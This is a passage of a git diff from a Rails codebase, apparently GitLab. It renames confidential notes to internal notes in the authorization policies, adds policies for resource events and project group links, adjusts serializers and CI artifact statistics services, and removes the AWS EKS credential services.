index 9fd95bbe42d..ccc095f37da 100644
--- a/app/policies/note_policy.rb
+++ b/app/policies/note_policy.rb
@@ -18,7 +18,7 @@ class NotePolicy < BasePolicy
condition(:is_visible) { @subject.system_note_visible_for?(@user) }
- condition(:confidential, scope: :subject) { @subject.confidential? }
+ condition(:internal, scope: :subject) { @subject.confidential? }
# if noteable is a work item it needs to check the notes widget availability
condition(:notes_widget_enabled, scope: :subject) do
@@ -28,7 +28,7 @@ class NotePolicy < BasePolicy
# Should be matched with IssuablePolicy#read_internal_note
# and EpicPolicy#read_internal_note
- condition(:can_read_confidential) do
+ condition(:can_read_internal_note) do
access_level >= Gitlab::Access::REPORTER || admin?
end
@@ -67,11 +67,11 @@ class NotePolicy < BasePolicy
enable :resolve_note
end
- rule { can_read_confidential }.policy do
- enable :mark_note_as_confidential
+ rule { can_read_internal_note }.policy do
+ enable :mark_note_as_internal
end
- rule { confidential & ~can_read_confidential }.policy do
+ rule { internal & ~can_read_internal_note }.policy do
prevent :read_note
prevent :admin_note
prevent :resolve_note
diff --git a/app/policies/project_group_link_policy.rb b/app/policies/project_group_link_policy.rb
new file mode 100644
index 00000000000..00bb246d70b
--- /dev/null
+++ b/app/policies/project_group_link_policy.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class ProjectGroupLinkPolicy < BasePolicy # rubocop:disable Gitlab/NamespacedClass
+ condition(:group_owner_or_project_admin) { group_owner? || project_admin? }
+
+ rule { group_owner_or_project_admin }.enable :admin_project_group_link
+
+ private
+
+ def group_owner?
+ can?(:admin_group, @subject.group)
+ end
+
+ def project_admin?
+ can?(:admin_project, @subject.project)
+ end
+end
diff --git a/app/policies/project_policy.rb b/app/policies/project_policy.rb
index fd3dbb54d57..b85a57f81cd 100644
--- a/app/policies/project_policy.rb
+++ b/app/policies/project_policy.rb
@@ -526,6 +526,7 @@ class ProjectPolicy < BasePolicy
enable :read_upload
enable :destroy_upload
enable :admin_incident_management_timeline_event_tag
+ enable :stop_environment
end
rule { public_project & metrics_dashboard_allowed }.policy do
diff --git a/app/policies/projects/branch_rule_policy.rb b/app/policies/projects/branch_rule_policy.rb
new file mode 100644
index 00000000000..9ea15ea26d4
--- /dev/null
+++ b/app/policies/projects/branch_rule_policy.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module Projects
+ class BranchRulePolicy < ::ProtectedBranchPolicy
+ end
+end
+
+Projects::BranchRulePolicy.prepend_mod
diff --git a/app/policies/resource_event_policy.rb b/app/policies/resource_event_policy.rb
new file mode 100644
index 00000000000..d8142212927
--- /dev/null
+++ b/app/policies/resource_event_policy.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class ResourceEventPolicy < BasePolicy
+ condition(:can_read_issuable) { can?(:"read_#{@subject.issuable.to_ability_name}", @subject.issuable) }
+end
diff --git a/app/policies/resource_label_event_policy.rb b/app/policies/resource_label_event_policy.rb
index de4748d9890..d9c2eed72e7 100644
--- a/app/policies/resource_label_event_policy.rb
+++ b/app/policies/resource_label_event_policy.rb
@@ -1,8 +1,7 @@
# frozen_string_literal: true
-class ResourceLabelEventPolicy < BasePolicy
+class ResourceLabelEventPolicy < ResourceEventPolicy
condition(:can_read_label) { @subject.label_id.nil? || can?(:read_label, @subject.label) }
- condition(:can_read_issuable) { can?(:"read_#{@subject.issuable.to_ability_name}", @subject.issuable) }
rule { can_read_label }.policy do
enable :read_label
@@ -10,5 +9,6 @@ class ResourceLabelEventPolicy < BasePolicy
rule { can_read_label & can_read_issuable }.policy do
enable :read_resource_label_event
+ enable :read_note
end
end
diff --git a/app/policies/resource_milestone_event_policy.rb b/app/policies/resource_milestone_event_policy.rb
new file mode 100644
index 00000000000..10a1f86fb85
--- /dev/null
+++ b/app/policies/resource_milestone_event_policy.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class ResourceMilestoneEventPolicy < ResourceEventPolicy
+ condition(:can_read_milestone) { @subject.milestone_id.nil? || can?(:read_milestone, @subject.milestone) }
+
+ rule { can_read_milestone }.policy do
+ enable :read_milestone
+ end
+
+ rule { can_read_milestone & can_read_issuable }.policy do
+ enable :read_resource_milestone_event
+ enable :read_note
+ end
+end
diff --git a/app/policies/resource_state_event_policy.rb b/app/policies/resource_state_event_policy.rb
new file mode 100644
index 00000000000..34df2e96eb8
--- /dev/null
+++ b/app/policies/resource_state_event_policy.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class ResourceStateEventPolicy < ResourceEventPolicy
+ condition(:can_read_issuable) { can?(:"read_#{@subject.issuable.to_ability_name}", @subject.issuable) }
+
+ rule { can_read_issuable }.policy do
+ enable :read_resource_state_event
+ enable :read_note
+ end
+end
diff --git a/app/policies/todo_policy.rb b/app/policies/todo_policy.rb
index d63eb9407f8..3b4be29664f 100644
--- a/app/policies/todo_policy.rb
+++ b/app/policies/todo_policy.rb
@@ -11,18 +11,18 @@ class TodoPolicy < BasePolicy
@user && @subject.target&.readable_by?(@user)
end
- desc "Todo has confidential note"
- condition(:has_confidential_note, scope: :subject) { @subject&.note&.confidential? }
+ desc "Todo has internal note"
+ condition(:has_internal_note, scope: :subject) { @subject&.note&.confidential? }
- desc "User can read the todo's confidential note"
- condition(:can_read_todo_confidential_note) do
+ desc "User can read the todo's internal note"
+ condition(:can_read_todo_internal_note) do
@user && @user.can?(:read_internal_note, @subject.target)
end
rule { own_todo & can_read_target }.enable :read_todo
rule { can?(:read_todo) }.enable :update_todo
- rule { has_confidential_note & ~can_read_todo_confidential_note }.policy do
+ rule { has_internal_note & ~can_read_todo_internal_note }.policy do
prevent :read_todo
prevent :update_todo
end
diff --git a/app/policies/user_policy.rb b/app/policies/user_policy.rb
index 4f3dafbf5c8..ed5b01e52b4 100644
--- a/app/policies/user_policy.rb
+++ b/app/policies/user_policy.rb
@@ -30,6 +30,7 @@ class UserPolicy < BasePolicy
enable :read_group_count
enable :read_user_groups
enable :read_saved_replies
+ enable :read_user_email_address
end
rule { default }.enable :read_user_profile
diff --git a/app/policies/users/namespace_commit_email_policy.rb b/app/policies/users/namespace_commit_email_policy.rb
new file mode 100644
index 00000000000..849ebd04688
--- /dev/null
+++ b/app/policies/users/namespace_commit_email_policy.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Users
+ class NamespaceCommitEmailPolicy < BasePolicy
+ delegate { @subject.user }
+ end
+end
diff --git a/app/presenters/ci/build_runner_presenter.rb b/app/presenters/ci/build_runner_presenter.rb
index 7242a80b924..9a586a1733f 100644
--- a/app/presenters/ci/build_runner_presenter.rb
+++ b/app/presenters/ci/build_runner_presenter.rb
@@ -33,13 +33,10 @@ module Ci
end
def runner_variables
- stop_expanding_raw_refs = ::Feature.enabled?(:ci_raw_variables_in_yaml_config, project)
-
variables
.sort_and_expand_all(keep_undefined: true,
expand_file_refs: false,
- expand_raw_refs: !stop_expanding_raw_refs,
- project: project)
+ expand_raw_refs: false)
.to_runner_variables
end
diff --git a/app/presenters/packages/nuget/packages_metadata_presenter.rb b/app/presenters/packages/nuget/packages_metadata_presenter.rb
index 5f5859d46c9..9f1dee17cea 100644
--- a/app/presenters/packages/nuget/packages_metadata_presenter.rb
+++ b/app/presenters/packages/nuget/packages_metadata_presenter.rb
@@ -10,6 +10,10 @@ module Packages
def initialize(packages)
@packages = packages
+ .preload_nuget_files
+ .preload_nuget_metadatum
+ .including_tags
+ .including_dependency_links_with_nuget_metadatum
end
def count
@@ -23,12 +27,14 @@ module Packages
private
def summary
+ packages_with_metadata = @packages.map { |pkg| metadata_for(pkg) }
+
{
json_url: json_url,
lower_version: lower_version,
upper_version: upper_version,
- packages_count: @packages.count,
- packages: @packages.map { |pkg| metadata_for(pkg) }
+ packages_count: packages_with_metadata.size,
+ packages: packages_with_metadata
}
end
diff --git a/app/presenters/packages/nuget/presenter_helpers.rb b/app/presenters/packages/nuget/presenter_helpers.rb
index 5334e4aa6f8..82ed80d8372 100644
--- a/app/presenters/packages/nuget/presenter_helpers.rb
+++ b/app/presenters/packages/nuget/presenter_helpers.rb
@@ -8,7 +8,6 @@ module Packages
BLANK_STRING = ''
PACKAGE_DEPENDENCY_GROUP = 'PackageDependencyGroup'
PACKAGE_DEPENDENCY = 'PackageDependency'
- NUGET_PACKAGE_FORMAT = 'nupkg'
private
@@ -27,8 +26,7 @@ module Packages
end
def archive_url_for(package)
- package_filename = package.installable_package_files
- .with_format(NUGET_PACKAGE_FORMAT)
+ package_filename = package.installable_nuget_package_files
.last
&.file_name
path = api_v4_projects_packages_nuget_download_package_name_package_version_package_filename_path(
@@ -75,8 +73,6 @@ module Packages
def dependency_links_grouped_by_target_framework(package)
package
.dependency_links
- .includes_dependency
- .preload_nuget_metadatum
.group_by { |dependency_link| dependency_link.nuget_metadatum&.target_framework }
end
diff --git a/app/presenters/project_presenter.rb b/app/presenters/project_presenter.rb
index 4d1a9b3f589..780740fd805 100644
--- a/app/presenters/project_presenter.rb
+++ b/app/presenters/project_presenter.rb
@@ -5,6 +5,7 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
include GitlabRoutingHelper
include StorageHelper
include TreeHelper
+ include Ci::PipelineEditorHelper
include IconsHelper
include BlobHelper
include ChecksCollaboration
@@ -349,6 +350,8 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
end
def gitlab_ci_anchor_data
+ return unless can_view_pipeline_editor?(project)
+
if cicd_missing?
AnchorData.new(false,
statistic_icon + _('Set up CI/CD'),
diff --git a/app/serializers/ci/downloadable_artifact_entity.rb b/app/serializers/ci/downloadable_artifact_entity.rb
index 1f3885f0715..2e8aafcee43 100644
--- a/app/serializers/ci/downloadable_artifact_entity.rb
+++ b/app/serializers/ci/downloadable_artifact_entity.rb
@@ -8,7 +8,7 @@ module Ci
artifacts = pipeline.downloadable_artifacts
if Feature.enabled?(:non_public_artifacts)
- artifacts = artifacts.select { |artifact| can?(request.current_user, :read_job_artifacts, artifact.job) }
+ artifacts = artifacts.select { |artifact| can?(request.current_user, :read_job_artifacts, artifact) }
end
BuildArtifactEntity.represent(artifacts, options.merge(project: pipeline.project))
diff --git a/app/serializers/ci/pipeline_entity.rb b/app/serializers/ci/pipeline_entity.rb
index 143017c5159..5e6ae0986df 100644
--- a/app/serializers/ci/pipeline_entity.rb
+++ b/app/serializers/ci/pipeline_entity.rb
@@ -10,7 +10,7 @@ class Ci::PipelineEntity < Grape::Entity
expose :iid
expose :user, using: UserEntity
expose :active?, as: :active
- expose :name, if: -> (pipeline, _) { Feature.enabled?(:pipeline_name, pipeline.project) }
+ expose :name
# Coverage isn't always necessary (e.g. when displaying project pipelines in
# the UI). Instead of creating an entirely different entity we just allow the
diff --git a/app/serializers/diffs_entity.rb b/app/serializers/diffs_entity.rb
index 759d1e0f10a..5b30c0bb58c 100644
--- a/app/serializers/diffs_entity.rb
+++ b/app/serializers/diffs_entity.rb
@@ -74,7 +74,7 @@ class DiffsEntity < Grape::Entity
options.merge(
submodule_links: submodule_links,
code_navigation_path: code_navigation_path(diffs),
- conflicts: (conflicts(allow_tree_conflicts: true) if options[:merge_conflicts_in_diff])
+ conflicts: conflicts(allow_tree_conflicts: true)
)
)
end
diff --git a/app/serializers/diffs_metadata_entity.rb b/app/serializers/diffs_metadata_entity.rb
index ace5105dda5..e55f31a8376 100644
--- a/app/serializers/diffs_metadata_entity.rb
+++ b/app/serializers/diffs_metadata_entity.rb
@@ -6,7 +6,7 @@ class DiffsMetadataEntity < DiffsEntity
DiffFileMetadataEntity.represent(
diffs.raw_diff_files(sorted: true),
options.merge(
- conflicts: (conflicts(allow_tree_conflicts: true) if options[:merge_conflicts_in_diff])
+ conflicts: conflicts(allow_tree_conflicts: true)
)
)
end
diff --git a/app/serializers/group_link/group_group_link_entity.rb b/app/serializers/group_link/group_group_link_entity.rb
index 563a75ccdaa..d5d7eea74ea 100644
--- a/app/serializers/group_link/group_group_link_entity.rb
+++ b/app/serializers/group_link/group_group_link_entity.rb
@@ -10,6 +10,10 @@ module GroupLink
private
+ def can_admin_group_link?(group_link, options)
+ can?(current_user, admin_permission_name, group_link.shared_from)
+ end
+
def admin_permission_name
:admin_group_member
end
diff --git a/app/serializers/group_link/group_link_entity.rb b/app/serializers/group_link/group_link_entity.rb
index 73c9931fc70..4cc7e9f3c8c 100644
--- a/app/serializers/group_link/group_link_entity.rb
+++ b/app/serializers/group_link/group_link_entity.rb
@@ -36,7 +36,7 @@ module GroupLink
end
expose :can_remove do |group_link, options|
- can_admin_shared_from?(group_link, options)
+ direct_member?(group_link, options) && can_admin_group_link?(group_link, options)
end
expose :is_direct_member do |group_link, options|
diff --git a/app/serializers/group_link/project_group_link_entity.rb b/app/serializers/group_link/project_group_link_entity.rb
index c667bcd5bf4..d246bff1c58 100644
--- a/app/serializers/group_link/project_group_link_entity.rb
+++ b/app/serializers/group_link/project_group_link_entity.rb
@@ -10,6 +10,10 @@ module GroupLink
private
+ def can_admin_group_link?(group_link, options)
+ can?(current_user, :admin_project_group_link, group_link)
+ end
+
def admin_permission_name
:admin_project_member
end
diff --git a/app/serializers/issue_entity.rb b/app/serializers/issue_entity.rb
index 397f333008c..a38f345f617 100644
--- a/app/serializers/issue_entity.rb
+++ b/app/serializers/issue_entity.rb
@@ -48,7 +48,7 @@ class IssueEntity < IssuableEntity
end
expose :can_create_confidential_note do |issue|
- can?(request.current_user, :mark_note_as_confidential, issue)
+ can?(request.current_user, :mark_note_as_internal, issue)
end
expose :can_update do |issue|
diff --git a/app/serializers/merge_requests/pipeline_entity.rb b/app/serializers/merge_requests/pipeline_entity.rb
index 76e75a8ca6d..cf050b32d21 100644
--- a/app/serializers/merge_requests/pipeline_entity.rb
+++ b/app/serializers/merge_requests/pipeline_entity.rb
@@ -5,7 +5,7 @@ class MergeRequests::PipelineEntity < Grape::Entity
expose :id
expose :active?, as: :active
- expose :name, if: -> (pipeline, _) { Feature.enabled?(:pipeline_name, pipeline.project) }
+ expose :name
expose :path do |pipeline|
project_pipeline_path(pipeline.project, pipeline)
@@ -30,7 +30,7 @@ class MergeRequests::PipelineEntity < Grape::Entity
rel = pipeline.downloadable_artifacts
if Feature.enabled?(:non_public_artifacts, type: :development)
- rel = rel.select { |artifact| can?(request.current_user, :read_job_artifacts, artifact.job) }
+ rel = rel.select { |artifact| can?(request.current_user, :read_job_artifacts, artifact) }
end
BuildArtifactEntity.represent(rel, options.merge(project: pipeline.project))
diff --git a/app/serializers/paginated_diff_entity.rb b/app/serializers/paginated_diff_entity.rb
index b79a0937659..67f4014990c 100644
--- a/app/serializers/paginated_diff_entity.rb
+++ b/app/serializers/paginated_diff_entity.rb
@@ -17,7 +17,7 @@ class PaginatedDiffEntity < Grape::Entity
options.merge(
submodule_links: submodule_links,
code_navigation_path: code_navigation_path(diffs),
- conflicts: (conflicts(allow_tree_conflicts: true) if options[:merge_conflicts_in_diff])
+ conflicts: conflicts(allow_tree_conflicts: true)
)
)
end
diff --git a/app/serializers/remote_mirror_entity.rb b/app/serializers/remote_mirror_entity.rb
index 440e4274668..7eddb3fef4a 100644
--- a/app/serializers/remote_mirror_entity.rb
+++ b/app/serializers/remote_mirror_entity.rb
@@ -13,3 +13,5 @@ class RemoteMirrorEntity < Grape::Entity
remote_mirror.ssh_known_hosts_fingerprints.as_json
end
end
+
+RemoteMirrorEntity.prepend_mod
diff --git a/app/services/achievements/base_service.rb b/app/services/achievements/base_service.rb
new file mode 100644
index 00000000000..0a8e6ee3c78
--- /dev/null
+++ b/app/services/achievements/base_service.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Achievements
+ class BaseService < ::BaseContainerService
+ def initialize(namespace:, current_user: nil, params: {})
+ @namespace = namespace
+ super(container: namespace, current_user: current_user, params: params)
+ end
+
+ private
+
+ def allowed?
+ current_user&.can?(:admin_achievement, @namespace)
+ end
+
+ def error(message)
+ ServiceResponse.error(message: Array(message))
+ end
+ end
+end
diff --git a/app/services/achievements/create_service.rb b/app/services/achievements/create_service.rb
new file mode 100644
index 00000000000..2843df6c191
--- /dev/null
+++ b/app/services/achievements/create_service.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Achievements
+ class CreateService < BaseService
+ def execute
+ return error_no_permissions unless allowed?
+
+ achievement = Achievements::Achievement.create(params.merge(namespace_id: @namespace.id))
+
+ return error_creating(achievement) unless achievement.persisted?
+
+ ServiceResponse.success(payload: achievement)
+ end
+
+ private
+
+ def error_no_permissions
+ error('You have insufficient permissions to create achievements for this namespace')
+ end
+
+ def error_creating(achievement)
+ error(achievement&.errors&.full_messages || 'Failed to create achievement')
+ end
+ end
+end
diff --git a/app/services/boards/base_items_list_service.rb b/app/services/boards/base_items_list_service.rb
index 2a9cbb83cc4..bf68aee2c1f 100644
--- a/app/services/boards/base_items_list_service.rb
+++ b/app/services/boards/base_items_list_service.rb
@@ -18,7 +18,6 @@ module Boards
# TODO: eliminate need for SQL literal fragment
columns = Arel.sql(fields.values_at(*keys).join(', '))
results = item_model.where(id: collection_ids)
- results = query_additions(results, required_fields)
results = results.select(columns)
Hash[keys.zip(results.pluck(columns).flatten)]
@@ -27,11 +26,6 @@ module Boards
private
- # override if needed
- def query_additions(items, required_fields)
- items
- end
-
def collection_ids
@collection_ids ||= init_collection.select(item_model.arel_table[:id])
end
diff --git a/app/services/bulk_imports/create_service.rb b/app/services/bulk_imports/create_service.rb
index 124b5964232..35a35e7b7c9 100644
--- a/app/services/bulk_imports/create_service.rb
+++ b/app/services/bulk_imports/create_service.rb
@@ -36,6 +36,8 @@ module BulkImports
end
def execute
+ validate!
+
bulk_import = create_bulk_import
Gitlab::Tracking.event(self.class.name, 'create', label: 'bulk_import_group')
@@ -43,7 +45,8 @@ module BulkImports
BulkImportWorker.perform_async(bulk_import.id)
ServiceResponse.success(payload: bulk_import)
- rescue ActiveRecord::RecordInvalid => e
+
+ rescue ActiveRecord::RecordInvalid, BulkImports::Error, BulkImports::NetworkError => e
ServiceResponse.error(
message: e.message,
http_status: :unprocessable_entity
@@ -52,6 +55,11 @@ module BulkImports
private
+ def validate!
+ client.validate_instance_version!
+ client.validate_import_scopes!
+ end
+
def create_bulk_import
BulkImport.transaction do
bulk_import = BulkImport.create!(
@@ -70,7 +78,8 @@ module BulkImports
source_type: entity[:source_type],
source_full_path: entity[:source_full_path],
destination_slug: entity[:destination_slug],
- destination_namespace: entity[:destination_namespace]
+ destination_namespace: entity[:destination_namespace],
+ migrate_projects: Gitlab::Utils.to_boolean(entity[:migrate_projects], default: true)
)
end
diff --git a/app/services/captcha/captcha_verification_service.rb b/app/services/captcha/captcha_verification_service.rb
index 3ed8ea12f3a..b7b699f7108 100644
--- a/app/services/captcha/captcha_verification_service.rb
+++ b/app/services/captcha/captcha_verification_service.rb
@@ -5,7 +5,7 @@ module Captcha
# Encapsulates logic of checking captchas.
#
class CaptchaVerificationService
- include Recaptcha::Verify
+ include Recaptcha::Adapters::ControllerMethods
# Currently the only value that is used out of the request by the reCAPTCHA library
# is 'remote_ip'. Therefore, we just create a struct to avoid passing the full request
@@ -45,7 +45,7 @@ module Captcha
attr_reader :spam_params
- # The recaptcha library's Recaptcha::Verify#verify_recaptcha method requires that
+ # The recaptcha library's Recaptcha::Adapters::ControllerMethods#verify_recaptcha method requires that
# 'request' be a readable attribute - it doesn't support passing it as an options argument.
attr_reader :request
end
diff --git a/app/services/chat_names/authorize_user_service.rb b/app/services/chat_names/authorize_user_service.rb
index 6c28a1cea7e..32714831fb8 100644
--- a/app/services/chat_names/authorize_user_service.rb
+++ b/app/services/chat_names/authorize_user_service.rb
@@ -4,8 +4,7 @@ module ChatNames
class AuthorizeUserService
include Gitlab::Routing
- def initialize(integration, params)
- @integration = integration
+ def initialize(params)
@params = params
end
@@ -29,7 +28,6 @@ module ChatNames
def chat_name_params
{
- integration_id: @integration.id,
team_id: @params[:team_id],
team_domain: @params[:team_domain],
chat_id: @params[:user_id],
diff --git a/app/services/ci/create_pipeline_service.rb b/app/services/ci/create_pipeline_service.rb
index 9c3cc803587..eb25aeaf5a5 100644
--- a/app/services/ci/create_pipeline_service.rb
+++ b/app/services/ci/create_pipeline_service.rb
@@ -157,6 +157,13 @@ module Ci
duration >= LOG_MAX_CREATION_THRESHOLD
end
+
+ l.log_when do |observations|
+ pipeline_includes_count = observations['pipeline_includes_count']
+ next false unless pipeline_includes_count
+
+ pipeline_includes_count.to_i > Gitlab::Ci::Config::External::Context::MAX_INCLUDES
+ end
end
end
end
diff --git a/app/services/ci/job_artifacts/create_service.rb b/app/services/ci/job_artifacts/create_service.rb
index ee9982cf3ab..6e2ba76682f 100644
--- a/app/services/ci/job_artifacts/create_service.rb
+++ b/app/services/ci/job_artifacts/create_service.rb
@@ -92,7 +92,8 @@ module Ci
file: artifacts_file,
file_type: params[:artifact_type],
file_format: params[:artifact_format],
- file_sha256: artifacts_file.sha256
+ file_sha256: artifacts_file.sha256,
+ accessibility: accessibility(params)
)
)
@@ -102,7 +103,8 @@ module Ci
file: metadata_file,
file_type: :metadata,
file_format: :gzip,
- file_sha256: metadata_file.sha256
+ file_sha256: metadata_file.sha256,
+ accessibility: accessibility(params)
)
)
end
@@ -110,6 +112,10 @@ module Ci
[artifact, artifact_metadata]
end
+ def accessibility(params)
+ params[:accessibility] || 'public'
+ end
+
def parse_artifact(artifact)
case artifact.file_type
when 'dotenv' then parse_dotenv_artifact(artifact)
diff --git a/app/services/ci/job_artifacts/delete_service.rb b/app/services/ci/job_artifacts/delete_service.rb
index c9d590eccc4..fc5c6b12389 100644
--- a/app/services/ci/job_artifacts/delete_service.rb
+++ b/app/services/ci/job_artifacts/delete_service.rb
@@ -26,8 +26,7 @@ module Ci
if result.fetch(:status) == :success
ServiceResponse.success(payload:
{
- destroyed_artifacts_count: result.fetch(:destroyed_artifacts_count),
- statistics_updates: result.fetch(:statistics_updates)
+ destroyed_artifacts_count: result.fetch(:destroyed_artifacts_count)
})
else
ServiceResponse.error(message: result.fetch(:message))
diff --git a/app/services/ci/job_artifacts/destroy_associations_service.rb b/app/services/ci/job_artifacts/destroy_associations_service.rb
index 794d24eadf2..fd3e69a5913 100644
--- a/app/services/ci/job_artifacts/destroy_associations_service.rb
+++ b/app/services/ci/job_artifacts/destroy_associations_service.rb
@@ -2,27 +2,32 @@
module Ci
module JobArtifacts
+ # This class is used by Ci::JobArtifact's FastDestroyAll implementation.
+ # Ci::JobArtifact.begin_fast_destroy instantiates this service and calls #destroy_records.
+ # This will set @statistics_updates instance variables.
+ # The same instance is passed to Ci::JobArtifact.finalize_fast_destroy, which then calls
+ # #update_statistics, using @statistics_updates set by #destroy_records.
class DestroyAssociationsService
BATCH_SIZE = 100
def initialize(job_artifacts_relation)
@job_artifacts_relation = job_artifacts_relation
- @statistics = {}
+ @statistics_updates = {}
end
def destroy_records
@job_artifacts_relation.each_batch(of: BATCH_SIZE) do |relation|
service = Ci::JobArtifacts::DestroyBatchService.new(relation, pick_up_at: Time.current)
result = service.execute(update_stats: false)
- updates = result[:statistics_updates]
-
- @statistics.merge!(updates) { |_key, oldval, newval| newval + oldval }
+ @statistics_updates.merge!(result[:statistics_updates]) do |_project, existing_updates, new_updates|
+ existing_updates.concat(new_updates)
+ end
end
end
def update_statistics
- @statistics.each do |project, delta|
- project.increment_statistic_value(Ci::JobArtifact.project_statistics_name, delta)
+ @statistics_updates.each do |project, increments|
+ ProjectStatistics.bulk_increment_statistic(project, Ci::JobArtifact.project_statistics_name, increments)
end
end
end
diff --git a/app/services/ci/job_artifacts/destroy_batch_service.rb b/app/services/ci/job_artifacts/destroy_batch_service.rb
index e0307d9bd53..7cb1be95a3e 100644
--- a/app/services/ci/job_artifacts/destroy_batch_service.rb
+++ b/app/services/ci/job_artifacts/destroy_batch_service.rb
@@ -46,14 +46,13 @@ module Ci
after_batch_destroy_hook(@job_artifacts)
- # This is executed outside of the transaction because it depends on Redis
update_project_statistics! if update_stats
+
increment_monitoring_statistics(artifacts_count, artifacts_bytes)
Gitlab::Ci::Artifacts::Logger.log_deleted(@job_artifacts, 'Ci::JobArtifacts::DestroyBatchService#execute')
- success(destroyed_artifacts_count: artifacts_count,
- statistics_updates: affected_project_statistics)
+ success(destroyed_artifacts_count: artifacts_count, statistics_updates: statistics_updates_per_project)
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -74,17 +73,18 @@ module Ci
# using ! here since this can't be called inside a transaction
def update_project_statistics!
- affected_project_statistics.each do |project, delta|
- project.increment_statistic_value(Ci::JobArtifact.project_statistics_name, delta)
+ statistics_updates_per_project.each do |project, increments|
+ ProjectStatistics.bulk_increment_statistic(project, Ci::JobArtifact.project_statistics_name, increments)
end
end
- def affected_project_statistics
- strong_memoize(:affected_project_statistics) do
- artifacts_by_project = @job_artifacts.group_by(&:project)
- artifacts_by_project.each.with_object({}) do |(project, artifacts), accumulator|
- delta = -artifacts.sum { |artifact| artifact.size.to_i }
- accumulator[project] = delta
+ def statistics_updates_per_project
+ strong_memoize(:statistics_updates_per_project) do
+ result = Hash.new { |updates, project| updates[project] = [] }
+
+ @job_artifacts.each_with_object(result) do |job_artifact, result|
+ increment = Gitlab::Counters::Increment.new(amount: -job_artifact.size.to_i, ref: job_artifact.id)
+ result[job_artifact.project] << increment
end
end
end
diff --git a/app/services/clusters/aws/authorize_role_service.rb b/app/services/clusters/aws/authorize_role_service.rb
deleted file mode 100644
index 7ca20289bf7..00000000000
--- a/app/services/clusters/aws/authorize_role_service.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Aws
- class AuthorizeRoleService
- attr_reader :user
-
- Response = Struct.new(:status, :body)
-
- ERRORS = [
- ActiveRecord::RecordInvalid,
- ActiveRecord::RecordNotFound,
- Clusters::Aws::FetchCredentialsService::MissingRoleError,
- ::Aws::Errors::MissingCredentialsError,
- ::Aws::STS::Errors::ServiceError
- ].freeze
-
- def initialize(user, params:)
- @user = user
- @role_arn = params[:role_arn]
- @region = params[:region]
- end
-
- def execute
- ensure_role_exists!
- update_role_arn!
-
- Response.new(:ok, credentials)
- rescue *ERRORS => e
- Gitlab::ErrorTracking.track_exception(e)
-
- Response.new(:unprocessable_entity, response_details(e))
- end
-
- private
-
- attr_reader :role, :role_arn, :region
-
- def ensure_role_exists!
- @role = ::Aws::Role.find_by_user_id!(user.id)
- end
-
- def update_role_arn!
- role.update!(role_arn: role_arn, region: region)
- end
-
- def credentials
- Clusters::Aws::FetchCredentialsService.new(role).execute
- end
-
- def response_details(exception)
- message =
- case exception
- when ::Aws::STS::Errors::AccessDenied
- _("Access denied: %{error}") % { error: exception.message }
- when ::Aws::STS::Errors::ServiceError
- _("AWS service error: %{error}") % { error: exception.message }
- when ActiveRecord::RecordNotFound
- _("Error: Unable to find AWS role for current user")
- when ActiveRecord::RecordInvalid
- exception.message
- when Clusters::Aws::FetchCredentialsService::MissingRoleError
- _("Error: No AWS provision role found for user")
- when ::Aws::Errors::MissingCredentialsError
- _("Error: No AWS credentials were supplied")
- else
- _('An error occurred while authorizing your role')
- end
-
- { message: message }.compact
- end
- end
- end
-end
diff --git a/app/services/clusters/aws/fetch_credentials_service.rb b/app/services/clusters/aws/fetch_credentials_service.rb
deleted file mode 100644
index e38852c7ec7..00000000000
--- a/app/services/clusters/aws/fetch_credentials_service.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Aws
- class FetchCredentialsService
- attr_reader :provision_role
-
- MissingRoleError = Class.new(StandardError)
-
- def initialize(provision_role, provider: nil)
- @provision_role = provision_role
- @provider = provider
- @region = provider&.region || provision_role&.region || Clusters::Providers::Aws::DEFAULT_REGION
- end
-
- def execute
- raise MissingRoleError, 'AWS provisioning role not configured' unless provision_role.present?
-
- ::Aws::AssumeRoleCredentials.new(
- client: client,
- role_arn: provision_role.role_arn,
- role_session_name: session_name,
- external_id: provision_role.role_external_id,
- policy: session_policy
- ).credentials
- end
-
- private
-
- attr_reader :provider, :region
-
- def client
- ::Aws::STS::Client.new(**client_args)
- end
-
- def client_args
- { region: region, credentials: gitlab_credentials }.compact
- end
-
- def gitlab_credentials
- # These are not needed for IAM instance profiles
- return unless access_key_id.present? && secret_access_key.present?
-
- ::Aws::Credentials.new(access_key_id, secret_access_key)
- end
-
- def access_key_id
- Gitlab::CurrentSettings.eks_access_key_id
- end
-
- def secret_access_key
- Gitlab::CurrentSettings.eks_secret_access_key
- end
-
- ##
- # If we haven't created a provider record yet,
- # we restrict ourselves to read-only access so
- # that we can safely expose credentials to the
- # frontend (to be used when populating the
- # creation form).
- def session_policy
- if provider.nil?
- File.read(read_only_policy)
- end
- end
-
- def read_only_policy
- Rails.root.join('vendor', 'aws', 'iam', "eks_cluster_read_only_policy.json")
- end
-
- def session_name
- if provider.present?
- "gitlab-eks-cluster-#{provider.cluster_id}-user-#{provision_role.user_id}"
- else
- "gitlab-eks-autofill-user-#{provision_role.user_id}"
- end
- end
- end
- end
-end
diff --git a/app/services/clusters/aws/finalize_creation_service.rb b/app/services/clusters/aws/finalize_creation_service.rb
deleted file mode 100644
index 54f07e1d44c..00000000000
--- a/app/services/clusters/aws/finalize_creation_service.rb
+++ /dev/null
@@ -1,139 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Aws
- class FinalizeCreationService
- include Gitlab::Utils::StrongMemoize
-
- attr_reader :provider
-
- delegate :cluster, to: :provider
-
- def execute(provider)
- @provider = provider
-
- configure_provider
- create_gitlab_service_account!
- configure_platform_kubernetes
- configure_node_authentication!
-
- cluster.save!
- rescue ::Aws::CloudFormation::Errors::ServiceError => e
- log_service_error(e.class.name, provider.id, e.message)
